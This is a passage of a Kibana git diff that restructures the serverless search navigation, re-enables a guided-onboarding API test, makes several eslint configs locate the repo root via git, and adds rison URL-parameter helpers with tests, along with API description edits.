WEB_CRAWLERS_LABEL } from '../common/i18n_string'; +import { CONNECTORS_LABEL } from '../common/i18n_string'; export const navigationTree = ({ isAppRegistered }: ApplicationStart): NavigationTreeDefinition => { function isAvailable(appId: string, content: T): T[] { @@ -33,43 +33,40 @@ export const navigationTree = ({ isAppRegistered }: ApplicationStart): Navigatio }), link: 'searchHomepage', spaceBefore: 'm', + getIsActive: ({ pathNameSerialized, prepend }) => { + return ( + pathNameSerialized.startsWith(prepend('/app/elasticsearch/home')) || + pathNameSerialized.startsWith(prepend('/app/elasticsearch/start')) + ); + }, }, { - id: 'analyze', - title: i18n.translate('xpack.serverlessSearch.nav.analyze', { - defaultMessage: 'Analyze', + link: 'discover', + }, + { + link: 'dashboards', + getIsActive: ({ pathNameSerialized, prepend }) => { + return pathNameSerialized.startsWith(prepend('/app/dashboards')); + }, + }, + { + title: i18n.translate('xpack.serverlessSearch.nav.chat', { + defaultMessage: 'Chat', }), - spaceBefore: 'm', + renderAs: 'accordion', children: [ { - link: 'discover', + link: 'onechat:conversations', }, { - title: i18n.translate('xpack.serverlessSearch.nav.chat', { - defaultMessage: 'Chat', - }), - renderAs: 'accordion', - children: [ - { - link: 'onechat:conversations', - }, - { - link: 'onechat:tools', - }, - ], - }, - { - link: 'dashboards', - getIsActive: ({ pathNameSerialized, prepend }) => { - return pathNameSerialized.startsWith(prepend('/app/dashboards')); - }, + link: 'onechat:tools', }, ], }, { - id: 'data', - title: i18n.translate('xpack.serverlessSearch.nav.data', { - defaultMessage: 'Data', + id: 'build', + title: i18n.translate('xpack.serverlessSearch.nav.build', { + defaultMessage: 'Build', }), spaceBefore: 'm', children: [ @@ -84,39 +81,10 @@ export const navigationTree = ({ isAppRegistered }: ApplicationStart): Navigatio return ( pathNameSerialized.startsWith( prepend('/app/elasticsearch/index_management/indices') - ) || - pathNameSerialized.startsWith(prepend('/app/elasticsearch/indices')) || - pathNameSerialized.startsWith(prepend('/app/elasticsearch/start')) + ) || pathNameSerialized.startsWith(prepend('/app/elasticsearch/indices')) ); }, }, - { - title: CONNECTORS_LABEL, - link: 'serverlessConnectors', - }, - { - title: WEB_CRAWLERS_LABEL, - link: 'serverlessWebCrawlers', - }, - ], - }, - { - id: 'build', - title: i18n.translate('xpack.serverlessSearch.nav.build', { - defaultMessage: 'Build', - }), - spaceBefore: 'm', - children: [ - { - id: 'dev_tools', - title: i18n.translate('xpack.serverlessSearch.nav.devTools', { - defaultMessage: 'Dev Tools', - }), - link: 'dev_tools:console', - getIsActive: ({ pathNameSerialized, prepend }) => { - return pathNameSerialized.startsWith(prepend('/app/dev_tools')); - }, - }, ...isAvailable('searchPlayground', { id: 'searchPlayground', title: i18n.translate('xpack.serverlessSearch.nav.build.searchPlayground', { @@ -125,6 +93,10 @@ export const navigationTree = ({ isAppRegistered }: ApplicationStart): Navigatio link: 'searchPlayground' as AppDeepLinkId, breadcrumbStatus: 'hidden' as 'hidden', }), + { + title: CONNECTORS_LABEL, + link: 'serverlessConnectors', + }, ], }, { @@ -134,16 +106,6 @@ export const navigationTree = ({ isAppRegistered }: ApplicationStart): Navigatio }), spaceBefore: 'm', children: [ - { - id: 'searchInferenceEndpoints', - title: i18n.translate( - 'xpack.serverlessSearch.nav.relevance.searchInferenceEndpoints', - { - defaultMessage: 'Inference Endpoints', - } - ), - link: 'searchInferenceEndpoints', - }, { id: 'searchSynonyms', title: i18n.translate('xpack.serverlessSearch.nav.relevance.searchSynonyms', { @@ -158,16 +120,18 @@ export const navigationTree = ({ isAppRegistered }: ApplicationStart): Navigatio }), link: 'searchQueryRules', }, + { + id: 'searchInferenceEndpoints', + title: i18n.translate( + 'xpack.serverlessSearch.nav.relevance.searchInferenceEndpoints', + { + defaultMessage: 'Inference Endpoints', + } + ), + link: 'searchInferenceEndpoints', + }, ], }, - { - id: 'otherTools', - title: i18n.translate('xpack.serverlessSearch.nav.otherTools', { - defaultMessage: 'Other tools', - }), - spaceBefore: 'm', - children: [{ link: 'maps' }], - }, ], }, ], @@ -177,12 +141,15 @@ export const navigationTree = ({ isAppRegistered }: ApplicationStart): Navigatio id: 'search_project_nav_footer', children: [ { - id: 'gettingStarted', - title: i18n.translate('xpack.serverlessSearch.nav.gettingStarted', { - defaultMessage: 'Getting Started', + id: 'dev_tools', + title: i18n.translate('xpack.serverlessSearch.nav.developerTools', { + defaultMessage: 'Developer Tools', }), - link: 'serverlessElasticsearch', - icon: 'launch', + icon: 'console', + link: 'dev_tools:console', + getIsActive: ({ pathNameSerialized, prepend }) => { + return pathNameSerialized.startsWith(prepend('/app/dev_tools')); + }, }, { id: 'project_settings_project_nav', diff --git a/x-pack/solutions/search/test/api_integration/apis/guided_onboarding/get_guides.ts b/x-pack/solutions/search/test/api_integration/apis/guided_onboarding/get_guides.ts index 1da52c1a56dd1..160ccf55355d8 100644 --- a/x-pack/solutions/search/test/api_integration/apis/guided_onboarding/get_guides.ts +++ b/x-pack/solutions/search/test/api_integration/apis/guided_onboarding/get_guides.ts @@ -21,8 +21,7 @@ export default function testGetGuidesState({ getService }: FtrProviderContext) { const supertest = getService('supertest'); const kibanaServer = getService('kibanaServer'); - // FLAKY: https://github.com/elastic/kibana/issues/217198 - describe.skip(`GET ${getGuidesPath}`, () => { + describe(`GET ${getGuidesPath}`, () => { afterEach(async () => { // Clean up saved objects await kibanaServer.savedObjects.clean({ @@ -41,12 +40,18 @@ export default function testGetGuidesState({ getService }: FtrProviderContext) { it('returns all created guides (active and inactive)', async () => { await createGuides(kibanaServer, [testGuideStep1ActiveState]); - const response = await supertest + const { body: responseBody } = await supertest .get(getGuidesPath) .set(X_ELASTIC_INTERNAL_ORIGIN_REQUEST, 'kibana') .expect(200); - expect(response.body).not.to.be.empty(); - expect(response.body.state).to.eql([testGuideStep1ActiveState]); + + expect(responseBody).not.to.be.empty(); + + const sortById = (a: { guideId: string }, b: { guideId: string }) => + a.guideId.localeCompare(b.guideId); + + // sort the guides in the response by ID for stable comparison + expect(responseBody.state.sort(sortById)).to.eql([testGuideStep1ActiveState]); }); }); } diff --git a/x-pack/solutions/security/packages/connectors/.eslintrc.js b/x-pack/solutions/security/packages/connectors/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/packages/connectors/.eslintrc.js +++ b/x-pack/solutions/security/packages/connectors/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/packages/ecs-data-quality-dashboard/.eslintrc.js b/x-pack/solutions/security/packages/ecs-data-quality-dashboard/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/packages/ecs-data-quality-dashboard/.eslintrc.js +++ b/x-pack/solutions/security/packages/ecs-data-quality-dashboard/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/packages/features/.eslintrc.js b/x-pack/solutions/security/packages/features/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/packages/features/.eslintrc.js +++ b/x-pack/solutions/security/packages/features/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/packages/kbn-cloud-security-posture/graph/src/components/graph/graph.tsx b/x-pack/solutions/security/packages/kbn-cloud-security-posture/graph/src/components/graph/graph.tsx index b80c4a1814001..ef547d6bc1a5a 100644 --- a/x-pack/solutions/security/packages/kbn-cloud-security-posture/graph/src/components/graph/graph.tsx +++ b/x-pack/solutions/security/packages/kbn-cloud-security-posture/graph/src/components/graph/graph.tsx @@ -15,7 +15,7 @@ import { useEdgesState, useNodesState, } from '@xyflow/react'; -import type { Edge, FitViewOptions, Node, ReactFlowInstance } from '@xyflow/react'; +import type { Edge, FitViewOptions, Node, ReactFlowInstance, FitView } from '@xyflow/react'; import { useGeneratedHtmlId } from '@elastic/eui'; import type { CommonProps } from '@elastic/eui'; import { SvgDefsMarker } from '../edge/markers'; @@ -74,7 +74,7 @@ const edgeTypes = { default: DefaultEdge, }; -const fitViewOptions: FitViewOptions = { +const fitViewOptions: FitViewOptions> = { duration: 200, }; @@ -95,9 +95,7 @@ const fitViewOptions: FitViewOptions = { export const Graph = memo( ({ nodes, edges, interactive, isLocked = false, children, ...rest }: GraphProps) => { const backgroundId = useGeneratedHtmlId(); - const fitViewRef = useRef< - ((fitViewOptions?: FitViewOptions | undefined) => Promise) | null - >(null); + const fitViewRef = useRef> | null>(null); const currNodesRef = useRef([]); const currEdgesRef = useRef([]); const [isGraphInteractive, _setIsGraphInteractive] = useState(interactive); @@ -125,7 +123,7 @@ export const Graph = memo( const onInitCallback = useCallback( (xyflow: ReactFlowInstance, Edge>) => { - window.requestAnimationFrame(() => xyflow.fitView()); + xyflow.fitView(); fitViewRef.current = xyflow.fitView; // When the graph is not initialized as interactive, we need to fit the view on resize diff --git a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/types.ts b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/types.ts index 1cf2cd57dfc8f..2bd7f62006172 100644 --- a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/types.ts +++ b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/types.ts @@ -165,10 +165,10 @@ export interface FindingVulnerabilityFullFlyoutContentProps { interface BaseVulnerabilityFlyoutProps { vulnerabilityId: string | string[]; - resourceId: string; + resourceId?: string; packageName: string | string[]; packageVersion: string | string[]; - eventId: string; + eventId?: string; } export type FindingsVulnerabilityPanelExpandableFlyoutPropsNonPreview = FlyoutPanelProps & { diff --git a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/is_native_csp_finding.ts b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/is_native_csp_finding.ts index a819187540cb9..fde0a430d5771 100644 --- a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/is_native_csp_finding.ts +++ b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/is_native_csp_finding.ts @@ -7,10 +7,8 @@ import { CspFinding, CSP_MISCONFIGURATIONS_DATASET } from '@kbn/cloud-security-posture-common'; import { CspVulnerabilityFinding } from '@kbn/cloud-security-posture-common/schema/vulnerabilities/csp_vulnerability_finding'; -import { CSP_VULN_DATASET, QUALYS_VULN_DATASET, WIZ_VULN_DATASET } from './get_vendor_name'; +import { CSP_VULN_DATASET } from './get_vendor_name'; export const isNativeCspFinding = (finding: CspFinding | CspVulnerabilityFinding) => finding.data_stream?.dataset === CSP_MISCONFIGURATIONS_DATASET || - finding.data_stream?.dataset === CSP_VULN_DATASET || - finding.data_stream?.dataset === WIZ_VULN_DATASET || - (finding.data_stream?.dataset?.startsWith(QUALYS_VULN_DATASET) ?? false); + finding.data_stream?.dataset === CSP_VULN_DATASET; diff --git a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.test.ts b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.test.ts index c2b62a3e57573..f054beb6afba5 100644 --- a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.test.ts +++ b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.test.ts @@ -5,7 +5,16 @@ * 2.0. */ -import { encodeQueryUrl, composeQueryFilters } from './query_utils'; +import { + encodeQueryUrl, + composeQueryFilters, + encodeFlyout, + decodeFlyout, + encodeRisonParam, + decodeRisonParam, + encodeMultipleRisonParams, + decodeMultipleRisonParams, +} from './query_utils'; import { dataPluginMock } from '@kbn/data-plugin/public/mocks'; const DEFAULT_DATA_VIEW_ID = 'security-solution-default'; @@ -243,3 +252,112 @@ describe('encodeQueryUrl', () => { expect(encodeQueryUrl(getServicesMock().data, filter, groupByFilter)).toEqual(result); }); }); + +describe('encodeFlyout', () => { + it('Should return correct encoded flyout', () => { + const flyout = { + id: 'test-flyout', + title: 'Test Flyout', + content: 'This is a test flyout', + }; + const result = encodeFlyout(flyout); + expect(result).toContain('flyout='); + expect(result).toContain('id:test-flyout'); + expect(result).toContain("title:'Test Flyout'"); + expect(result).toContain("content:'This is a test flyout'"); + }); + + it('Should return undefined for invalid flyout', () => { + expect(encodeFlyout(undefined)).toBeUndefined(); + }); +}); + +describe('decodeFlyout', () => { + it('Should return correct decoded flyout', () => { + const search = "flyout=(id:test-flyout,title:'Test Flyout',content:'This is a test flyout')"; + const result = { + id: 'test-flyout', + title: 'Test Flyout', + content: 'This is a test flyout', + }; + expect(decodeFlyout(search)).toEqual(result); + }); + + it('Should return undefined for invalid search', () => { + expect(decodeFlyout('invalid-search')).toBeUndefined(); + }); +}); + +describe('encodeRisonParam', () => { + it('Should return correct encoded Rison param', () => { + const param = { + key: 'test-key', + value: 'test-value', + }; + const result = 'customParam=(key:test-key,value:test-value)'; + expect(encodeRisonParam('customParam', param)).toEqual(result); + }); + + it('Should return undefined for invalid param', () => { + expect(encodeRisonParam('test', undefined)).toBeUndefined(); + }); +}); + +describe('decodeRisonParam', () => { + it('Should return correct decoded Rison param', () => { + const search = 'customParam=(key:test-key,value:test-value)'; + const result = { + key: 'test-key', + value: 'test-value', + }; + expect(decodeRisonParam(search, 'customParam')).toEqual(result); + }); + + it('Should return undefined for missing param', () => { + expect(decodeRisonParam('other=value', 'customParam')).toBeUndefined(); + }); +}); + +describe('encodeMultipleRisonParams', () => { + it('Should return correct encoded multiple Rison params', () => { + const params = { + cspq: { + filters: [], + query: { match_all: {} }, + }, + flyout: { + id: 'test-flyout', + title: 'Test Flyout', + }, + }; + const result = encodeMultipleRisonParams(params); + expect(result).toContain('cspq='); + expect(result).toContain('flyout='); + expect(result).toContain('&'); + }); + + it('Should return undefined for empty params', () => { + expect(encodeMultipleRisonParams({})).toBeUndefined(); + }); +}); + +describe('decodeMultipleRisonParams', () => { + it('Should return correct decoded multiple Rison params', () => { + const search = + "cspq=(filters:!(),query:(match_all:()))&flyout=(id:test-flyout,title:'Test Flyout')"; + const paramKeys = ['cspq', 'flyout']; + const result = decodeMultipleRisonParams(search, paramKeys); + + expect(result).toHaveProperty('cspq'); + expect(result).toHaveProperty('flyout'); + expect(result.flyout).toEqual({ + id: 'test-flyout', + title: 'Test Flyout', + }); + }); + + it('Should return empty object for invalid search', () => { + const result = decodeMultipleRisonParams('invalid-search', ['cspq', 'flyout']); + expect(result).toEqual({}); + }); +}); diff --git a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.ts b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.ts index ee705b0e285f0..dcdf252b5cc53 100644 --- a/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.ts +++ b/x-pack/solutions/security/packages/kbn-cloud-security-posture/public/src/utils/query_utils.ts @@ -11,55 +11,197 @@ import { Filter } from '@kbn/es-query'; import { SECURITY_DEFAULT_DATA_VIEW_ID } from '@kbn/cloud-security-posture-common'; import { DataPublicPluginStart } from '@kbn/data-plugin/public'; +/** + * Represents a negated value with a boolean flag + */ interface NegatedValue { + /** + * The value to negate + */ value: string | number; + /** + * Whether the value should be negated + */ negate: boolean; } +/** + * Type alias for filter values + */ type FilterValue = string | number | NegatedValue | string[]; +/** + * Type alias for navigation filters + */ export type NavFilter = Record; -// eslint-disable-next-line @typescript-eslint/no-explicit-any -const encodeRison = (v: any): string | undefined => { +// URL parameter keys +export const QUERY_PARAM_KEY = 'cspq'; +export const FLYOUT_PARAM_KEY = 'flyout'; + +/** + * Safely encodes a value using rison encoding + * @param value - The value to encode + * @returns The rison-encoded string or undefined if encoding fails + */ +const encodeRison = (value: unknown): string | undefined => { try { - return encode(v); - } catch (e) { + return encode(value); + } catch (error) { // eslint-disable-next-line no-console - console.error(e); + console.error('Failed to encode rison:', error); + return undefined; } }; -const decodeRison = (query: string): T | undefined => { +/** + * Safely decodes a rison-encoded string + * @param risonString - The rison-encoded string to decode + * @returns The decoded value or undefined if decoding fails + */ +const decodeRison = (risonString: string): T | undefined => { try { - return decode(query) as T; - } catch (e) { + return decode(risonString) as T; + } catch (error) { // eslint-disable-next-line no-console - console.error(e); + console.error('Failed to decode rison:', error); + return undefined; } }; -const QUERY_PARAM_KEY = 'cspq'; - -// eslint-disable-next-line @typescript-eslint/no-explicit-any -export const encodeQuery = (query: any): LocationDescriptorObject['search'] => { +/** + * Encodes query parameters using rison and returns a search string with 'cspq=' prefix + * @param query - The query object to encode + * @returns The encoded search string or undefined if encoding fails + */ +export const encodeQuery = (query: unknown): LocationDescriptorObject['search'] => { const risonQuery = encodeRison(query); if (!risonQuery) return; return `${QUERY_PARAM_KEY}=${risonQuery}`; }; +/** + * Encodes flyout parameters using rison and returns a search string with 'flyout=' prefix + * @param flyout - The flyout object to encode + * @returns The encoded search string or undefined if encoding fails + */ +export const encodeFlyout = (flyout: unknown): LocationDescriptorObject['search'] => { + const risonFlyout = encodeRison(flyout); + if (!risonFlyout) return; + return `${FLYOUT_PARAM_KEY}=${risonFlyout}`; +}; + +/** + * Generic function to encode any parameter with rison using a custom parameter key + * @param paramKey - The parameter key to use in the URL + * @param value - The value to encode + * @returns The encoded search string or undefined if encoding fails + */ +export const encodeRisonParam = ( + paramKey: string, + value: unknown +): LocationDescriptorObject['search'] => { + const risonValue = encodeRison(value); + if (!risonValue) return; + return `${paramKey}=${risonValue}`; +}; + +/** + * Decodes query parameters from a search string + * @param search - The search string to decode + * @returns The decoded query object or undefined if decoding fails + */ export const decodeQuery = (search?: string): Partial | undefined => { const risonQuery = new URLSearchParams(search).get(QUERY_PARAM_KEY); if (!risonQuery) return; return decodeRison(risonQuery); }; +/** + * Decodes flyout parameters from a search string + * @param search - The search string to decode + * @returns The decoded flyout object or undefined if decoding fails + */ +export const decodeFlyout = (search?: string): Partial | undefined => { + const risonFlyout = new URLSearchParams(search).get(FLYOUT_PARAM_KEY); + if (!risonFlyout) return; + return decodeRison(risonFlyout); +}; + +/** + * Generic function to decode any rison parameter from a search string + * @param search - The search string to decode + * @param paramKey - The parameter key to decode + * @returns The decoded value or undefined if decoding fails + */ +export const decodeRisonParam = ( + search: string, + paramKey: string +): Partial | undefined => { + const risonValue = new URLSearchParams(search).get(paramKey); + if (!risonValue) return; + return decodeRison(risonValue); +}; + +/** + * Encodes multiple rison parameters into a single search string + * @param params - The parameters to encode + * @returns The encoded search string or undefined if encoding fails + */ +export const encodeMultipleRisonParams = ( + params: Record +): LocationDescriptorObject['search'] => { + const searchParams = new URLSearchParams(); + + Object.entries(params).forEach(([key, value]) => { + const risonValue = encodeRison(value); + if (risonValue) { + searchParams.set(key, risonValue); + } + }); + + const searchString = searchParams.toString(); + return searchString ? searchString : undefined; +}; + +/** + * Decodes multiple rison parameters from a search string + * @param search - The search string to decode + * @param paramKeys - The parameter keys to decode + * @returns The decoded parameters or undefined if decoding fails + */ +export const decodeMultipleRisonParams = >( + search: string, + paramKeys: string[] +): Partial => { + const urlParams = new URLSearchParams(search); + const result: Partial = {}; + + paramKeys.forEach((key) => { + const risonValue = urlParams.get(key); + if (risonValue) { + const decoded = decodeRison(risonValue); + if (decoded !== undefined) { + (result as Record)[key] = decoded; + } + } + }); + + return result; +}; + +/** + * Encodes query URL parameters using rison + * @param servicesStart - The data plugin start services + * @param filters - The filters to encode + * @param groupBy - The group by fields to encode + * @returns The encoded query URL parameters or undefined if encoding fails + */ export const encodeQueryUrl = ( servicesStart: DataPublicPluginStart, filters: Filter[], groupBy?: string[] - // eslint-disable-next-line @typescript-eslint/no-explicit-any -): any => { +): LocationDescriptorObject['search'] => { return encodeQuery({ query: servicesStart.query.queryString.getDefaultQuery(), filters, @@ -67,7 +209,12 @@ export const encodeQueryUrl = ( }); }; -// dataViewId is used to prevent FilterManager from falling back to the default in the sorcerer (logs-*) +/** + * Composes query filters from navigation filters + * @param filterParams - The navigation filters to compose + * @param dataViewId - The data view ID to use + * @returns The composed query filters + */ export const composeQueryFilters = ( filterParams: NavFilter = {}, dataViewId = SECURITY_DEFAULT_DATA_VIEW_ID @@ -85,6 +232,13 @@ export const composeQueryFilters = ( }); }; +/** + * Creates a filter from a key and value + * @param key - The filter key + * @param filterValue - The filter value + * @param dataViewId - The data view ID to use + * @returns The created filter + */ export const createFilter = ( key: string, filterValue: Exclude, diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list/create_endpoint_list.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list/create_endpoint_list.schema.yaml index cdc9004ce7e60..5f91b017e4bb1 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list/create_endpoint_list.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list/create_endpoint_list.schema.yaml @@ -8,8 +8,8 @@ paths: x-labels: [serverless, ess] x-codegen-enabled: true operationId: CreateEndpointList - summary: Create an endpoint exception list - description: Create an endpoint exception list, which groups endpoint exception list items. If an endpoint exception list already exists, an empty response is returned. + summary: Create an Elastic Endpoint rule exception list + description: Create the exception list for Elastic Endpoint rule exceptions. When you create the exception list, it will have a `list_id` of `endpoint_list`. If the Elastic Endpoint exception list already exists, your request will return an empty response. responses: 200: description: Successful response diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list_item/create_endpoint_list_item.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list_item/create_endpoint_list_item.schema.yaml index 6948df21afbbc..6b2b4cee0e2d6 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list_item/create_endpoint_list_item.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/create_endpoint_list_item/create_endpoint_list_item.schema.yaml @@ -8,8 +8,8 @@ paths: x-labels: [serverless, ess] x-codegen-enabled: true operationId: CreateEndpointListItem - summary: Create an endpoint exception list item - description: Create an endpoint exception list item, and associate it with the endpoint exception list. + summary: Create an Elastic Endpoint rule exception list item + description: Create an Elastic Endpoint exception list item, and associate it with the Elastic Endpoint exception list. requestBody: description: Exception list item's properties required: true diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/delete_endpoint_list_item/delete_endpoint_list_item.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/delete_endpoint_list_item/delete_endpoint_list_item.schema.yaml index ae1010573e5ef..976e578cc7bd8 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/delete_endpoint_list_item/delete_endpoint_list_item.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/delete_endpoint_list_item/delete_endpoint_list_item.schema.yaml @@ -8,8 +8,8 @@ paths: x-labels: [serverless, ess] x-codegen-enabled: true operationId: DeleteEndpointListItem - summary: Delete an endpoint exception list item - description: Delete an endpoint exception list item using the `id` or `item_id` field. + summary: Delete an Elastic Endpoint exception list item + description: Delete an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. parameters: - name: id in: query diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/find_endpoint_list_item/find_endpoint_list_item.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/find_endpoint_list_item/find_endpoint_list_item.schema.yaml index 400851ac52543..eb80087940495 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/find_endpoint_list_item/find_endpoint_list_item.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/find_endpoint_list_item/find_endpoint_list_item.schema.yaml @@ -8,8 +8,8 @@ paths: x-labels: [serverless, ess] x-codegen-enabled: true operationId: FindEndpointListItems - summary: Get endpoint exception list items - description: Get a list of all endpoint exception list items. + summary: Get Elastic Endpoint exception list items + description: Get a list of all Elastic Endpoint exception list items. parameters: - name: filter in: query diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/read_endpoint_list_item/read_endpoint_list_item.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/read_endpoint_list_item/read_endpoint_list_item.schema.yaml index 0b64bac231df5..31a9ebc7b452c 100644 --- a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/read_endpoint_list_item/read_endpoint_list_item.schema.yaml +++ b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/read_endpoint_list_item/read_endpoint_list_item.schema.yaml @@ -8,8 +8,8 @@ paths: x-labels: [serverless, ess] x-codegen-enabled: true operationId: ReadEndpointListItem - summary: Get an endpoint exception list item - description: Get the details of an endpoint exception list item using the `id` or `item_id` field. + summary: Get an Elastic Endpoint rule exception list item + description: Get the details of an Elastic Endpoint exception list item, specified by the `id` or `item_id` field. parameters: - name: id in: query diff --git a/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/update_endpoint_list_item/update_endpoint_list_item.schema.yaml b/x-pack/solutions/security/packages/kbn-securitysolution-endpoint-exceptions-common/api/update_endpoint_list_item/update_endpoint_list_item.schema.yaml index 1fbe40d2b94ee..e2b108f5e493e 100644 --- 